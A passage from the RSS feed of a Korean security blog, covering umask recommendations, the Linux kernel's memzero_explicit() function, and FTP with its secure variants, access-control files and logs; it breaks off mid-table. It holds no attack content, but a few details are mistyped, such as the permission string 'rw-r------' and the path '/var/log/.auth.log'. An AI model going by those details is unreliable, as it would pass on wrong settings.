&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;권장 umask
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;022&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;설명
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 생성한 파일은 ㅁ본인에게는 읽기/쓰기 권한이 있고, 다른 사용자에겐 읽기 권한만 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이유
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;협업 필요 없음&lt;/li&gt;
&lt;li&gt;보안 위협도 낮음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 : rw-r--r--&lt;/li&gt;
&lt;li&gt;디렉터리 : rwxr-xr-x&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 여러 사용자가 협업하는 시스템 (예. 개발서버 및 웹서버)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;권장 umask
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;002&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;설명
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;같은 그룹에 속한 사용자는 읽기/쓰기 가능하게 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;전제조건
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자들이 같은 그룹으로 설정되어 있어야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이유
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공동 작업 폴더에서 파일을 공유해야 할 때 유용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 : rw-rw-r--&lt;/li&gt;
&lt;li&gt;디렉터리 : rwxrwxr-x&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. 보안이 중요한 서버(예 : 금융, 개인정보 취급)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;권장 umask
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;077&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일은 소유자만 접근 가능하고, 그룹이나 다른 사용자는 접근 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이유
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기밀 정보보호 필요&lt;/li&gt;
&lt;li&gt;외부 사용자 접근 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 : rw-------&lt;/li&gt;
&lt;li&gt;디렉터리 : rwx------&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 웹서버나 서비스 계정용 시스템 계정&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;권장 umask
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;027&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;설명
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그룹은 읽기 가능, 다른 사용자는 접근 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;이유
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그 파일 등은 관리자나 개발자 그룹이 읽어야 할 수 있지만, 일반 사용자 접근은 차단해야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;결과&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 : &amp;nbsp;rw-r------&lt;/li&gt;
&lt;li&gt;디렉터리 : rwxr-x---&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>Linux</category>
      <category>umask</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/42</guid>
      <comments>https://defcon.tistory.com/42#entry42comment</comments>
      <pubDate>Sat, 24 May 2025 09:20:38 +0900</pubDate>
    </item>
    <item>
      <title>Linux Kernel 안전한 제로화 함수 memzero_explicit</title>
      <link>https://defcon.tistory.com/41</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;memzero_explicit() 함수&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리 영역을 명시적으로 0으로 초기화하는 함수로 민감한 데이터를 메모리에서 완전히 제거해야 할 때 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 C/C++ ㅇ언어에서 보안 관련 프로그래밍을 할 때 사용한다. 암호화를 위한 키나 패스워드와 같은 민감한 정보를 메모리에서 확실하게 제거하기 위해서 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 memset()으로 메모리를 0으로 초기화하는 것이 가능하지만 컴파일러에 의한 최적화 과정에서 memset() 호출 코드를 제거할 수 있다. 이 경우에 제로화가 동작하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memset 대신 memzero_explicit() 함수를 사용하면 컴파일러에 의해 코드가 삭제 되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;함수 원형&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1747992396677&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static inline void memzero_explicit(void *s, size_t count);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;memzero_explicit 함수 사용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;커널 또는 사용자 공간의 암호화 라이브러리&lt;/li&gt;
&lt;li&gt;로그인 시스템에서 비밀번호 처리 후&lt;/li&gt;
&lt;li&gt;TLS 세션 키 삭제 시&lt;/li&gt;
&lt;li&gt;파일 암호화/복호화 작업 후&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memzero_explicit() 함수는 Linux 커널의 include/linux/string.h 헤더 파일에 정의되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수는 static inline으로 정의되어 있어 컴파일 시점에 인라인으로 확장되어 함수 호출 오버헤드를 줄이고 최적화 방지 효과를 유지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기에는 memzero_explicit() 함수가 lib/string.c 파일에 정의되어 있었다. 그러나 이후 커널 버전에서 include/linux/string.h 헤더 파일로 이동되어 static inline 함수로 정의되었다.&lt;/p&gt;
&lt;pre id=&quot;code_1747992647960&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static inline void memzero_explicit(void *s, size_t count)
{
	memset(s, 0, count);
	barrier_data(s);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;barrier_data(s); 코드로 인해 컴파일러가 memset() 함수 호출을 최적화하여 제거하지 않도록 하는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;barrir_data 는 매크로 함수로 정의되어 있으며, 코드는 다음과 같이 구현되어 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1747992837610&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#define barrier_data(ptr) \
  __asm__ __volatile__ (&quot;&quot; : : &quot;r&quot;(ptr) : &quot;memory&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 매크로는 아무런 연산을 하지 않는 빈 인라인 어셈블리로 보이지만 매우 중요한 역할을 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;__asm__+ __volatile__
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;__asm__은 인라인 어셈블리를 의미한다.&lt;/li&gt;
&lt;li&gt;__volatile__은 컴파일러가 이 코드를 절대로 제거하거나 재배치하지 않도록 강제한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&quot;r&quot;(ptr)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ptr을 레지스터에 넣으라고 명시한다. 이로 인해 컴파일러는 ptr이 실제로 참조되었음을 인식한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&quot;memory&quot;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이는 메모리 클로버(memory clobber)라고 부르며, 컴파일러에게 이 어셈블리 코드는 메모리에 영향을 줄 수 있다고 알린다.&lt;/li&gt;
&lt;li&gt;따라서 컴파일러는 memset() 이후에 메모리 상태가 바뀔수 있다고 간주하게 되어 memset() 호출을 제거하거나 무시하지 못한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programming/Linux Kernel</category>
      <category>Kernel</category>
      <category>linuxkernel</category>
      <category>memzero_explicit</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/41</guid>
      <comments>https://defcon.tistory.com/41#entry41comment</comments>
      <pubDate>Fri, 23 May 2025 18:37:24 +0900</pubDate>
    </item>
    <item>
      <title>FTP의 개념 및 보안취약성</title>
      <link>https://defcon.tistory.com/40</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. FTP(File Transfer Protocol)이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FTP는 클라이언트와 서버간에 파일을 전송하기 위한 TCP/IP 기반의 표준 통신 프로토콜입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FTP는 1970년대에 처음 설계되었고, 현재도 파일 전송 용도로 널리 사용되고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. FTP의 주요 목적&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 업로드 : 클라이언트에서 서버로 파일 전송&lt;/li&gt;
&lt;li&gt;파일 다운로드 : 서버에서 클라이언트로 파일 전송&lt;/li&gt;
&lt;li&gt;파일 관리 : 디;렉터리 생성, 삭제 파일이름변경 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. FTP의 동작 방식&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FTP는 클라이언트-서버 구조로 동작합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;연결 구성
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트가 서버에 접속하려면 서버의 IP주소와 포트번호(기본 21번)가 필요합니다.&lt;/li&gt;
&lt;li&gt;사용자는 일반적으로 아이디/비밀번호로 로그인합니다.(익명 로그인도 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2개의 연결을 사용
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP는 2개의 별도 연결을 사용합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;제어 연결(Control Connection) : 명령어와 응답을 주고받는 용도(기본 21번 포트)&lt;/li&gt;
&lt;li&gt;데이터 연결(Data Connection) : 실제 파일을 전송하는 용도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;모드&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 22.093023%;&quot;&gt;모드&lt;/td&gt;
&lt;td style=&quot;width: 77.906977%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 22.093023%;&quot;&gt;Active Mode&lt;/td&gt;
&lt;td style=&quot;width: 77.906977%;&quot;&gt;클라이언트가 제어 연결을 열고, 서버가 데이터 연결을 역방향으로 한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 22.093023%;&quot;&gt;Passive Mode&lt;/td&gt;
&lt;td style=&quot;width: 77.906977%;&quot;&gt;클라이언트가 제어 및 데이터 연결을 모두 연다(방화벽 우회 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. FTP의 장단점&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;오랜 역사를 가진 안정적인 프로토콜&lt;/li&gt;
&lt;li&gt;대용량 파일 전송에 적합&lt;/li&gt;
&lt;li&gt;다양한 운영체제 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;단점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안이 약함&lt;/li&gt;
&lt;li&gt;아이디/비밀번호도 평문으로 전송됨&lt;/li&gt;
&lt;li&gt;보안을 위하여 FTPS, SFTP 사용이 권장됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. FTP 프로토콜&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SFTP
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SFTP는 이름에 FTP가 들어가지만 FTP와는 전혀 다른 프로토콜임&lt;/li&gt;
&lt;li&gt;SSH 상에서 동작하며, 기본포트는 22번으로 모든 데이터 전송은 암호화됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;내용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;프로토콜 기반&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;SSH&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;포트번호&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;보안성&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;매우 높음(암호화 + 인증)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;인증방식&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;비밀번호 또는 공개키&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;전송방식&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;단일 연결(제어/데이터 통합)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.139535%;&quot;&gt;명령어 지원&lt;/td&gt;
&lt;td style=&quot;width: 76.860465%;&quot;&gt;파일 전송, 이름 변경, 삭제[, 디렉토리 생성 등&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현이 상대적으로 복합하고 기존 FTP와의 명령어 호환이 되지않는 단점이 존재하지만 모든 트래픽이 암호화되기 때문에 보안성이 매우 우수하며, 접근제어와 로그관리가 쉽다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TFTP
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;매우 단순한 형태의 FTP로 UDP 기반(포트 69번)으로 동작하고 인증과 암호화 기능이 존재하지 않음&lt;/li&gt;
&lt;li&gt;자원이 제한된 임베디드 또는 라우터 환경에서도 사용할 수 있다.&lt;/li&gt;
&lt;li&gt;일반적으로 네트워크 장비의 펌웨어 업데이트 또는 PXE 부팅에 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FTPS(FTP Secure/FTP-SSL)&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 FTP에 SSL/TLS 암호화 계층을 추가한 프로토콜이며 21번포트로 명령, 990번 포트로 암호화된 연결을 수행함&lt;/li&gt;
&lt;li&gt;SSL 인증서를 통해 데이터/사용자 보안을 보장하며 FTP의 명령 체계를 유지한다는 장점이 있다.ft&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. FTP 접근 통제 파일&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/etc/ftpusers
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 접근을 금지할 사용자 계정을 나열하는 파일&lt;/li&gt;
&lt;li&gt;파일에 포함된 사용자는 FTP로 로그인 자체가 차단됩니다.&lt;/li&gt;
&lt;li&gt;보안상 중요도가 높은 계정은 기본적으로 차단되어야 합니다.(ex. root, daemon, bin ..)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1747544739153&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# /etc/ftpusers
root
bin
daemon
sys&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/etc/hosts.allow &amp;amp; /etc/hosts.deny
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 두파일은 TCP Wrapper 시스템의 일부로 네트워크 서비스를 호스트를 기준으로 허용 또는 차단합니다.&lt;/li&gt;
&lt;li&gt;FTP 뿐만 아니라 sshd, telnet, rsync, rlogin, finger 등 TCP 기반의 여러 데몬에 사용됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;/etc/hosts.allow
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근을 허용할 호스트나 네트워크를 정의&lt;/li&gt;
&lt;li&gt;먼저 이 파일이 확인되며, 여기서 허용되면 바로 접속허가됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1747544909955&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;서비스명&amp;gt; : &amp;lt;호스트 주소&amp;gt; [ : 옵션 ]
vsftpd : 192.168.1.100
vsftpd : .mycompany.com
ALL : 127.0.0.1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/etc/hosts.deny
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접근을 거부할 호스트나 네트워크를 정의&lt;/li&gt;
&lt;li&gt;hosts.allow에 명시되지 않은 요청은 이 파일을 통해 차단 여부를 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1747544967498&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;서비스명&amp;gt; : &amp;lt;호스트 주소&amp;gt; [ : 옵션 ]
vsftpd : ALL&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. FTP 주요 로그 파일&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;로그 종류&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;파일 경로&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;접속/명령 로그&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;/var/log/vsftpd.log&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;사용자 로그인, 파일 업로드/다운로드 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;시스템 인증 로그&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;/var/log/secure(RHEL 계열)&lt;br /&gt;/var/log/.auth.log(Debian/Ubuntu)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;로그인 시도, 인증 실패 등의 보안 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;xferlog 형식 로그&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;/var/log/xferlog&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;전송된 파일 내역(접속 IP, 파일 크기 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;로그 예시:&lt;/p&gt;
&lt;pre id=&quot;code_1747545289411&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Fri May 17 13:12:04 2024 [pid 12345] CONNECT: Client &quot;192.168.1.50&quot;
Fri May 17 13:12:07 2024 [pid 12345] [ftpuser] OK LOGIN: Client &quot;192.168.1.50&quot;
Fri May 17 13:12:10 2024 [pid 12345] [ftpuser] UPLOAD: Client &quot;192.168.1.50&quot;, &quot;/upload/test.txt&quot;, 2048 bytes&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 형식&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;필드&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;의미&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;날짜/시간&lt;/td&gt;
